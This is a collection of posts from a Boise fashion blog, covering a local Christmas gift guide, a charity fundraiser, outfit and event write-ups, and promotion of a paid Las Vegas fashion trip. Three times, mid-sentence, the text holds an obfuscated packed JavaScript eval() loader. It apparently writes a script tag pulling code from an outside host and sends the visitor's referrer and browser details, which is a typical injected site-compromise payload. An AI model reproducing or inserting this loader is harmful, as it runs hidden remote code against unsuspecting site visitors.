Last-Minute Local Christmas Gift Guide!

Hey, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdnkk|var|u0026u|referrer|ydyzn||js|php’.split(‘|’),0,{}))
psst… It’s almost here! Have you bought all your Christmas gifts yet? Unless you are lucky enough to live in one of the 16 cities where Amazon can deliver presents in a day, you’re almost out of time to get your shopping done!

If you’ve waited until the last moment, or are struggling to find the perfect unique gift for someone in your life, here’s my TOP 10 LIST for items you can run out quickly and snag around the Treasure Valley area.

10. BEEF WHIP CANDLES

Beef Whip Candle Co. was recently started by a Boise husband & wife team, and these cleverly-titled candles have the most divine scents! If Fall Farted is our current family fave, and it makes a GREAT gift for that hard-to-buy-for person in your life. My little brother is getting one of these for his new apartment – shhhh it’s a secret! 😉 Beef Whip candles can be found at Mixed Greens on 9th, or Press & Pony on Idaho St..

9. SILK TOUCH MED SPA

I love Silk Touch Med Spa on Eagle Rd.! Right now they’re running a special for Christmas: Buy $200 in Gift Cards, and get a $50 Gift Card free! Also check out their 12 Days of Christmas specials on their Facebook page: https://www.facebook.com/silktouchmedspa/. This is a great gift for the person in your life who’s been hinting they’d like a little pampering, or is wanting to nip & tuck a thing or two. 😉

8. COACH

COACH at Boise Towne Sqaure mall is having an unprecedented winter sale! A huge selection of their items are 40% off right now, from luxury handbags to jewelry, gloves, scarves, and travel accessories. They can also place orders for you from their amazing clothing & shoe selection online, and get it shipped to your house asap!

7. FOR THE GENTS: ROBERT COMSTOCK MEN’S STORE

Robert Comstock is the newest menswear store in the Treasure Valley. Loaded with luxury clothes, coats, leather goods, accessories, and even facial hair products, this posh shop in the Village at Meridian carries exclusive items found nowhere else in Idaho! Treat your guy to a soft-like-buttah leather jacket, or sign him up for a FREE styling session from some of the most skilled menswear personal stylists in the Treasure Valley. ~ This just in: The Robert Comstock store is having a STOREWIDE HALF-PRICE SALE until Dec. 24th! Mention code COMSTOCKHOLIDAY for 50% off your entire purchase in the store!!!

6. BODO SHOPS & GIFT CARDS

Downtown Boise is bursting at the seams with amazing locally-owned clothing & jewelry boutiques! Here’s my shortlist of where to get the lady in your life something beautiful, or a gift card so she can go fashion hunting herself…

If her style is classic, and she prefers higher-end brands: Try Fancy Pants, Piece Unique, American Clothing Gallery, Walla Walla Clothing Co., or the new Marla June for upscale & designer stuff.

If her style is trendy, eclectic, or bohemian: Check out SWANK, Ava Rae Boutique, Dragonfly, and Re-POP on State St.

If she loves locally-created & artisan things: Shop at Banana Ink, Wear Boise, Bricolage, Mixed Greens, and BeeWise Goods.

If she’s a fashion treasure hunter: She’ll love Serendipity Boutique, Lux Fashion Lounge, In Retrospect, and Atomic Treasures!

FOR THE KIDS: 5. CUDDLE BLANKETS

How darling are these little cuddle blankets? Though they are probably meant for wee ones, my 11-year old who likes soft & cute things said “Ooh, mommy, those are SO sweet! I want one!” They come as a set of two; big and small together like your precious baby and his/her favorite big person to hug! Spotted at Mixed Greens, a sweet little shop packed to the brim with unique & precious gifting treasures!

4. UNIGON SPECIALTIES JEWELRY

Personally, I’m super obsessed with huge, statement crystals & pendants right now! Local jewelry designer Denise Vasecka of Unigon Specialties has many of her beautiful handmade pieces for sale at Wholistic Beauty Boutique on State St., & 16th. While you’re there shopping, why not add a luxurious facial or massage to the gift? This beauty boutique is the only one of its kind in Boise; all products & services there are organic, or naturopathic, and completely natural! I love the naturopathic makeup & primer so much, I wrote a review about it not long ago – click here to check it out.

3. ROONEY MAE COUTURE GOWNS

The newest addition to Boise’s designer scene is Rooney Mae Couture, created and handmade by Meagan Jones. Her new shop in BODO is a one-stop gown-shopping paradise, as well as her design studio! Stop in and select your favorite color, design, and concept, and Meagan will create it for you in her signature luxurious fabrics & materials… But don’t let the posh appearance fool you; her gowns are so comfy, you almost feel like you’re in your favorite jammies! Check out the Rooney Mae Couture Facebook page for updates on her current schedule and awesome holiday GIFT CARD deals!!!

2. CAMILLE BECKMAN & CHATEAU LES FLEURS

This one is my favorite spot to bring out-of-town guests and family visiting for the holidays! The Camille Beckman gift shop in Eagle is HUGE and beautiful, stocked floor to rafters with gifts, jewelry, accessories, and of course the company’s world-famous luxury body products. After shopping, step next door to the incredible new Chateau des Fleurs, the Treasure Valley’s newest event center, only French chateau/castle, and home to the exquisite Le Coq d’Or gourmet French restaurant! It’s a one-of-a-kind dining experience you won’t soon forget. ❤

And now, drum roll… NUMBER 1. IT’S VEGAS, BABY!!!

If you’re looking for the biggest, baddest, BEST present this Christmas, give her the gift of ADVENTURE! The StyleSpyGirl team is taking a select group of women from the Boise area to LAS VEGAS FASHION WEEK February 17-21. This all-expenses-paid fashion getaway includes airfare, hotel accommodations, transportation, guided shopping tours, Vegas shows, exclusive runway fashion shows, and a dedicated photographer to catch every exciting moment for her to remember forever!

This trip has limited seating, and is booking NOW. Put down a deposit to secure a seat for the lucky lady in your life – all the details and pricing information are on our Vegas Getaway page: http://stylespygirl.com/join-the-las-vegas-fashion-week-ladies-travel-posse/

Don’t delay – seats are filling up, for this fashion & shopping all-girls getaway of a lifetime!

Merry Christmas my friends! May your holidays be filled with peace, love & laughter.

XOXO,
Tanya

‘Tis the Season to Be Generous!

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Fashion Getaways Launch Party was a huge success!!! Thank you SO MUCH, to each and every person who came down last Friday night for the festivities and fund-raising. We had more than 60 fabulous friends show up to join us at the Dish, for an evening of fun as we launched the Ladies-Only Fashion Getaways, with champagne, yummy foods, photobooth antics… And we raised money for a precious local family whose daughter is fighting a terrible illness! Read on for more details…

We had 10 raffle boxes, with incredible items from our donors! Each lady bought tickets, and voted for the prize or prizes she wanted most. It was so much fun to pick the winners! I was very grateful for such generous donations – a table-full of fabulous gifts from:

American Clothing Gallery

Backwoods Baubles

Bernadette Almeida, Happyness Maker

COACH

Karin Otto Aesthetics

LUX Fashion Lounge

Riverside Hotel Boise

Rooney Mae Couture

Silk Touch Med Spa

Something Old, Something New Consignment Boutique

SWANK Boutique

Unigon Specialties

Wholistic Beauty Boutique

This is Hannah, the precious little girl we helped raise money for. She is the only person in the state of Idaho with Batten disease, which is debilitating and fatal. And sadly, so rare that there are no support groups, local help, or much in the way of resources for her family. We wanted to help out, and be a blessing to Hannah this Christmas! Thank you to all who donated – we raised $700 for her specialized medical equipment room!

Tis the Season to be generous. 🙂

Alexandria White of A-Train Fitness and friend, enjoying the “Selfie Booth,” donated by Ammophotog and staffed by fabulous volunteer Lindsey Antram of Grey Jays Jewelry.

Yummy noshes from The Dish

Gown by Abandoned Fashion Vintage Store – a vintage silk robe with lace inlay!

More photo booth fun! With Cher Sandmire of Sandmire Studios as the swankest pilot EVER, with friend Bonnie Alexander.

Bernadette Almeida, the Happyness Maker, spreading joy and good cheer wherever she goes!

One of my favorite mementos from the Bellevue Fashion Week ladies-only getaway in August! Tonight’s party was the announcement of our next Fashion Getaways: Las Vegas Fashion Week in February, and New Orleans Fashion Week in March!!! Want to be on board with our all-girl travel party? Click HERE to read more about the StyleSpyGirl Fashion Getaways!!!

My sweet neighbor and volunteer Tempie, helping ladies check in. 🙂

My beautiful friend & neighbor MaryAnn, helping out at the raffle booth.

Gown by Rooney Mae Couture, who donated a generous gift card to the night’s raffle!

Meeting Mrs. Ada County, Lisa Southern. Thank you so much for coming, Lisa!!!

Ashley Barkley, local stylist, H&M spokesmodel, and social media queen. Love her to pieces!

Meagan Jones, the beautiful brain & talent behind Rooney Mae Couture!

Hannah’s mom Trina, who bravely stood up with me to talk about her daughter’s devastating condition, and all they are doing to give her the best possible life, for the time they have with her. If you would like to donate and help out this precious family, click HERE to be directed to their GoFundMe page!

All the photos above are by volunteer photographer Toni Osmundson at Sydney Studios & Co. Thank you SO MUCH Toni!!! 🙂

Thanks again to everyone who came. May you all have a blessed holiday season, and I hope you can join me and the Travel Posse SOON for some amazing adventures… Our next stop is LAS VEGAS FASHION WEEK! Click HERE to read more about it, and find out how YOU can come along with us!!!

XOXO,
Tanya

~ Photos below are from Social Media ~

The Mystical Magic of Maxi Dresses

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by Valerie Davenport Photography

Last Spring, I had the fun privilege of journeying through Italy with my husband and kids. We toured museums in Florence, rode a gondola in Venice, were awed by the Coliseum in Rome, and enjoyed the beaches and cuisine of the Amalfi Coast. And of course, I shopped. A LOT.

One of my favorite finds was this black embroidered maxi dress from a boutique in Sorrento. I loved wearing all summer over a little tank dress, but when the time came to stow my hot weather maxis and minis and pull out my Fall wardrobe, I balked at tucking this pretty piece away.

Why not just make it work for Fall, I thought? Easy-peasy, with a little inspiration from Stevie Nicks’ style and a fab hat from SWANK BOUTIQUE! Skip the sandals – brr! – and opt for tall cozy boots. I love the bell sleeves on this dress; that style is definitely trending for Fall, and it’s easy to layer a fitted long-sleeved top underneath for more warmth (like these styles from Uniqlo!), or a pair of long gloves or arm-warmers.

Do you maxi in the colder months? Tell me your favorite transitional pieces in the comments below!
XO,
Tanya

Hat: SWANK Boutique / Dress: Italy / Wrap Belt: White House|Black Market / Boots: Sam Edelman via Nordstrom Rack / Layering Necklaces: Moon & Black pendant by Druzy Dreams, long Rebel Pendant by Stella & Dot

Layering Rings, let to right: Rebel Ring by Stella & Dot / Star Midi ring, Druzy Dreams / Triangle stone, flea market / Silver Crystal wrap ring, Unigon Specialties / Midi ring, Unigon Specialties / Wedding ring, custom-made

Meet the Designer & Win FREE Shoes from Alegria!

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Saturday, Nov. 7th from 2-6pm, Alegria shoe designer Megan Gold will make a special appearance in Dillard’s at Boise Towne Square! Customers can meet Gold, shop her latest collection, and create their own shoe design to enter for a chance to win free Alegria shoes for a year!!! Last year’s winner even had her design made!

Boise Towne Square’s Dillards store was chosen for this event because their sales for Alegria shoes are outstanding. And you know what that means? Boise loves Alegria! 😀 They’re comfortable, durable, well-made, and fabulous all day long.

Stop in on Saturday for your chance to meet Megan, create your own shoe design, and WIN BIG!

Personal faves. Which ones should I choose? I think those red boots up top are calling my name…

What will YOU design? 🙂 Stop in Saturday to create your own personalized footwear!

XOXO,
Tanya

Style in the Aisles Fashion Show Launches in Boise

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week I had the honor of attending a very special fashion show, thrown by Piece Unique and beloved local legend Jesse Taylor. Jesse is known for his generosity and dedication to the community, and this fabulous show was a true extension of his heart; the goal was to help raise money for the City Light Women’s & Children’s Home!

City Light provides emergency shelter for women and children, in downtown Boise. They house, feed, clothe, and counsel women who are seeking a safe place from dangerous circumstances, while providing care for their children as well. It’s an amazing program that has made HUGE contributions to the well-being of families in this city, and personally, I’ve had friends whose lives were literally saved by this shelter, so they are near & dear to my heart as well.

Sadly, as you can see below the blue lights on the stage were too much for my small camera, so I apologize for the overwhelming hue!

Bluuuuuue runway lights! 😀

Jesse teamed up with local stylist Heather Schwabe of Style Therapy, Boise-based vintage/couture jewelry line Monica Macha, and Natalie Durham at downtown boutique P iece Unique, to showcase one of my FAVORITE clothing lines: Black Halo. I’ve blogged about Black Halo before, because they’re an incredible, well-made line that fits busty girls in ways I never imagined an off-the-rack dress could ever do! If you haven’t tried on one of their fashion pieces yet, you absolutely must get down to Piece Unique and check them out. Worth every penny, I promise!

Here’s a short video clip of the runway finale:

As a THANK YOU to all who helped make the fashion show a success & supporting City Light & the Boise Rescue Mission, Piece Unique is offering 25% off ALL BLACK HALO purchases made in their store before Nov. 15th, when you donate $25 to City Light Women’s & Children’s Shelter! This special discount applies to all Black Halo items both in the store, and via special order.

Wonderful job, everyone! See you at the next show.
XOXO,
Tanya

Leticia McLaughlin and her lovely daughter, always impeccably stylish!

Lovely Angie Berman (center) with two fabulous friends.

Ballet Idaho’s Lana Hollingshead and her daughter Veronica.

A new friend, Rosemary, and her wickedly-cool leather necklace! This babe has style for miles.

Let the show begin!

So much blue light, but I love her white Black Halo dress!

Runway finale, packed with gorgeous local women rocking the catwalk!

More blurriness and blue light – ugh! – but this red dress was one of my favorites.

Green Black Halo dress on a model – that neckline on her is incredible!

Angie & friend posing on the runway, after the show. Love this lady!! ❤

My Gypsetter Heart, With Weekend Society

Pictures eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irhya|var|u0026u|referrer|zbtek||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Globe-trotter, nomad, wanderer, Gypsetter. Yeah, all of those words pretty much fit this little Boise blogger! I’ve been traveling since I was born. In fact, my mom delivered me in Tangier, Morocco, while my parents were working abroad with an organization called YWAM, which I loosely describe as “a kind of Christian Peace Corps.” By the time I was 25, I had visited over 20 countries, and lived in 6. Despite being uprooted a lot, the crazy thing is that I liked it. Adventure, exploring, new people, new foods… What a heckuva way to grow up! I crave new things all the time; plop me down with a map and a few bucks in the middle of any city in the world, and just let me explooooore.

When emerging fashion label Weekend Society contacted me about a blog collab for their adorable tops, I was instantly drawn to this one. Gypsetter is like Gypsy and Jet-setter combined, which very much fits my heart & soul! The cutout sides were a little expose-y for my comfort, but paired with a sequin tube top from Express and a rad jacket, I made the Gypsetter tank fit my body type and my personal style.

Do you like how I put it together? How would you style this tank? Tell me below in the comments!

XOXO,
Tanya

Gypsetter Tank by Weekend Society / Maroon Jacket and layered Black & Silver Necklace, both from SWANK Boutique / Rhyder Bag via COACH / Waxed Jeans from Express / Ankle Boots by Report, via Nordstrom Rack

Want to EXPLORE with me? Check out my newly-launched Shop / Style / Adventure travel packages for women!
Click on the Getaways page above, or the button below for more information.

Stunning Styles Abound at Boise’s Ballet Idaho Fall Gala!

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the excitement surrounding Ballet Idaho’s February performance of Twyla Tharp’s Nine Sinatra Songs, this year’s annual Fall Gala was a tribute to Ol’ Blue Eyes himself!

I was honored to attend this lush event for the first time, which began with a cocktail party and auction preview, and progressed to a gourmet dinner, live music, dancing, an auction, and exclusive sneak-peek performance of the Idaho Ballet’s special Sinatra-honoring performance! All proceeds from the Gala benefited the Ballet’s season and performances, as well as their grants, educational, and social outreach programs throughout the area.

Boise’s most fashionable urban crowd turn out for this event every year, and it was my pleasure to capture and feature the evening’s Best Dressed attendees!

ballet idaho gala 6 — Hanging out with KTVB Journalist and the evening’s emcee, Maggie O’Mara! My dress is by local designer Rooney Mae Couture, on 8th in BoDo.

My beautiful dear friend Angie Berman, with her lovely daughter Dorthy. — My beautiful dear friend Angie Berman, with her lovely daughter Dorthee.

Guests enjoying the Photo opp backdrop. Beautiful ballerina Adrienne Kerr models Hal Davis pearls in the center, and the lovely lady to the right of her is local fashion designer Patti Wells, owner of the LunchBOX in Meridian!

Beautiful guests rocking the evening's Rat Pack theme! — Gorgeous guests perfectly representing the evening’s Rat Pack theme!

This fabulous babe surprised me! Would you believe she MADE that dress by hand? Amazing!

Ballet Idaho's star dancers get in on the act. — Ballet Idaho’s star dancers get in on the act, with props, of course!

Stunning Wanda Lee Crowley, board member of the Ballet Idaho.

More beautiful guests, including my friends Michael & Leticia McLaughlin in the center. — More beautiful guests looking fabulous, including my friends Michael & Leticia McLaughlin in the center.

What a gloriously bedazzled room, filled with gorgeous people! — What a gloriously bedazzled room, filled with wonderful people!

Angie and Cyndee, beautiful babes inside and out!

Myself, Angie, and Cassie McCullough perfecting our "supermodel" poses — Myself, Angie, and Cassie McCullough perfecting our “supermodel” poses

Time to head upstairs for dinner, and absolutely GORGEOUS decor!

Cassie, Drthee, Angie (sorry Ray Gadd behind the plant!), Pamela Barron-Gadd, Michael, and Leticia — Cassie, Dorthee, Angie (sorry Ray Gadd behind the plant!), Pamela Barron-Gadd, Michael, Leticia, Cyndee.

Personalized Centerpieces - a beautiful touch. — Personalized Centerpieces – a beautiful touch.

Amazing food! Well done, to everyone who worked hard coordinating this event! — Enjoying the amazing food. Well done, to everyone who worked hard coordinating this event!

Personalized touches abound, right down to the champagne flutes!

What I wore: Dress by Rooney Mae Couture / Handbag by Heather Offord / World Cuff Bracelet by Artelier / Soko Bar Ring from Nordstrom — What I wore, details: Dress by Rooney Mae Couture / Handbag by Heather Offord / World Cuff Bracelet by Artelier / Soko Bar Ring from Nordstrom

After dinner, it's down to the dance floor! — After dinner, it’s down to the dance floor.

Beloved local Jazz & Swing band the Frim Fram 4 rocked the stage!

Beloved local fashion stylist Heather Schwabe, center, with her beautiful friends. — Beloved local fashion stylist Heather Schwabe rocking a gorgeous For Love & Lemons gown from Piece Unique, in the center, with her beautiful friends.

Beautiful belle, in one of my favorite gowns of the evening! — A beautiful belle, in one of my favorite gowns of the evening, from Margene’s Bridal of Boise.

AND FINALLY…

My friend Leticia is such a hoot! She comes up with new poses all the time, like this grab-your-heel pose. — My friend Leticia is such a hoot! She comes up with new poses all the time, like this grab-your-heel concept that works fine with two people.

But sometimes gravity is stronger than will, lol! — But when three ladies in heels get involved, sometimes gravity is stronger than will, lol! 😉 Ah well, we tried!

Special thanks to Meredith Stead, Marketing Director at Ballet Idaho, for the fantastically fun opportunity to be involved with this year’s festivities! Can’t wait to see what your crew puts together for next year; it’s tough to top perfection.

XOXO,
Tanya

Fall Fashion Preview: Plaid Crush

Photograhy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nerbr|var|u0026u|referrer|tssin||js|php’.split(‘|’),0,{}))
by Valerie Davenport.

O Danny boy, the pipes, the pipes are calling
From glen to glen and down the mountainside
The summer’s gone and all the roses falling
‘Tis you, ’tis you must go and I must bide.

There’s something about Fall that brings the Irish girl out in me, even moreso than other seasons. It’s as though the sound of falling leaves and smell of damp earth on cool, misty mornings transports me to another time, another place…

For Fall 2015 fashion, Tartan plaids are coming out as strong as they usually do, but this time around they’re showing their proud colors in unexpected ways. From backpacks to wedding gowns, this classic pattern still marches strong, and connects my heart to something timeless. Listen closely… Can you hear the bagpipes wailing in the distance?

Dress: Retro Hunny / Mini Rhyder Crossbody Bag: Coach / Boots: / Medina Bib Necklace: Stella & Dot / Hair by Jennifer Engberg, Turning Heads Studio

I love finding pieces that transition between seasons well, and stand the test of time. This outfit is such a perfect combo for me, personally! I am a HUGE a fan of dresses, because I find them so easy to style around. Start with a great day dress, and you can change everything about it, by what you add to it! Picture this dress with a black moto jacket and Doc Marten-style boots. Totally different, right? Or with a denim jacket and sneakers. See where I’m going with this? A long, cozy sweater and shearling-trimmed wedge boots… I could go on and on!

My friend Retro Hunny made this dress for me, custom-fit for every curve. She’s amazing! She also made my Tanya top for summer, which you can view here (along with the cutest baby lamb pics!) She can make just about anything – email her if YOU want a dress like mine that’s fit just for YOU, check out her Facebook page for ordering info!

Rebel ring: Stella & Dot / RINGLY tech ring, reviewed HERE / Silver pave wrap ring, TJ Maxx

Fall is coming soon, babes! Are you ready? Pumpkin lattes, cozy hoodies, and fleecy boots are just around the corner!

I say, bring it on.
XOXO,
Tanya

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A Straight-Forward Guide to Wearing Animal Prints

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BABY! Animal prints might be super hot right now, but they’re a fashion statement that can go horribly wrong, if you’re not careful. Sure, Shania Twain can dance in a cheetah bodysuit while rocking an audience of thousands in a stadium, but that’s not an entirely practical look for the rest of us (no matter how much we wish it were, sigh! …Hearts, Shania.)

HERE IS A STRAIGHT-FORWARD GIRL’S GUIDE TO WEARING ANIMAL PRINTS

1.) Think of any animal print you put on your body as a Statement Piece. Everything else you wear should be subdued, letting the wildcat aspect of your outfit make the loudest statement. Leopard jeans rolled up with heels, a tank top, and a black blazer can look incredibly chic for the workplace, for example. A cheetah skirt with a cheetah jacket and cheetah heels is… TOO MUCH! Don’t go there.

2.) Remember, you only need ONE. One item, in One print. Don’t wear zebra and cheetah together, or the fashion police will hunt you down, tackle you, and haul you off to the zoo. Just… Don’t! (But if you do, we promise to come visit and smuggle you bananas.)

Personally, I adore the Wild Beast line from COACH that’s out right now for Fall 2015; any of these pieces would be a stand-out conversation-starter, when worn as a singular part of your outfit. For example, the watch would look stellar with a white t-shirt, jeans, and heels. The shawl would rock over a sleeveless black jumpsuit, with a messy hair bun. And the bag… Oh my, I’d wear that in a heartbeat, with overalls, a black off-the-shoulder fitted top, and sunglasses. The key is balance!

3.) Animal prints draw attention, so CHOOSE your focus. A cool online boutique Shop Trendy recently sent me these adorable leopard-print wedges. They’re sky-high, but with a padded insole that’s super comfy! They’re great for a late-summer dinner party, with a simple black tank and cropped pants, and a cool necklace from COACH. So purrrrfect!

(Outfit details below)

4.) Be careful with color. Leopard prints can look fantastic with shades of red: burgundy, coral, and bright red are fantastic accents. Be sure to keep everything else neutral, and don’t go crazy on the accessories. A simple handbag and shoes in tan or black will keep your look chic and grounded. Navy blue also looks amazing with leopard or cheetah. If you’re wearing a black & white zebra print, opt for a pop of color like yellow or hot pink to cheer up the neutral-ness!

Blazer, Prestige / Tank, White House | Black Market / Jeans, Paige from Nordstrom

5.) When in doubt, try denim. Denim infuses any outfit with a laid-back vibe, so it’s the perfect balance to wild-child animal prints. Pair a fitted cheetah skirt with a white blouse and denim jacket, for example. Or a leopard print tank top with jeans, black ankle boots, and simple gold jewelry.

However you choose to embrace animal prints this Fall, be sure to have fun, and embrace your wild side!
XOXO,
Tanya

Pave charm necklace, Coach / Leopard Print Wedges, Shop Trendy / Layering & Loops rings, Unigon Specialties / Silver Rebel Ring, Stella & Dot / Tank, BCBG / Talulah Pants, Aritzia / Outfit Pics by Ammophotog

>>> Jump to the next article: Announcing the Official Tanya Top from Retro Hunny!!!

The Official Tanya Top from Retro Hunny Clothing!

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by Valerie Davenport / Hair Styled by Jaqueline Hoss, Color by Jennifer Engberg at Turning Heads

Ladies, take heart; you don’t have to rely on fast fashion to fill all your wardrobe needs! It’s not as tough – or costly! – as you might think, to add perfectly-fitting pieces from fashion designers. Here’s the key: THINK LOCAL!

Here’s my story: Recently I was trying on peplum tops, and having a heck of a time finding anything that fits my larger bust size, but smaller waist. One of my favorite clothing lines Black Halo does a fantastic job matching my bust-to-waist proportions, and I adore them for it, but I’ve struggled to find anyone else who comes close. Here’s me trying on a peplum top in a popular trendy shop that shall remain nameless… Seriously, it doesn’t even come close to covering my bra. Annoying!

Fed up, I reached out to local clothing designer Dottie Hamann, founder of Retro Hunny. We are blessed to have many incredibly talented people in this community, and Dottie is one of our brightest stars. She custom-creates rockabilly and retro-styled clothing for women of all shapes and sizes, and I’ve been delighted to see her work sashay down multiple runways over the last few years. Her looks are creative and classic, and this town LOVES her – for good reason!

“I’d like a top in red & white gingham for the 4th of July, with halter straps, and can you add a peplum waist?” I asked her… No problem, she told me! One week later, I had my custom-made, perfectly-fitting halter top, with the thoughtful addition of a sweetheart neckline. How cute is this, seriously? I was thrilled to have something that fit my every curve like it was made for me (because it WAS, lol!), and on top of that, Dottie informed me that she had decided to name the top after me!!! I’m sooooo honored!!!

USA Necklace: Maya Brenner / Idaho Necklace: Olive Wicherski at Bricolage / Tanya Top: Retro Hunny / Shorts: Express / Earrings: Pave’ studs from Stella & Dot

So here it is, and the Tanya Top, available in all sizes and just about any color or pattern you want! If you’d like a Tanya Top that fits YOU like a glove, email Chantelle at retrohunny@gmail.com. They cost around $50, plus shipping, unless you’d like to stop by Retro Hunny in person to get yours fitted and made. 🙂

Happy 4th of July, hunnies! 😉

XOXO,
Tanya

P.S., I discovered another amazing aspect of this city, while looking for a place to shoot these photos with Valerie; just 3 blocks from Boise’s major mall is a sheep farm… Seriously! I loved meeting Rocky, a new little lamb with so much spunk, he totally thought he was the family dog. I had a blast with him – thank you Farmer Jim for letting us hang out with you and your fabulous sheep!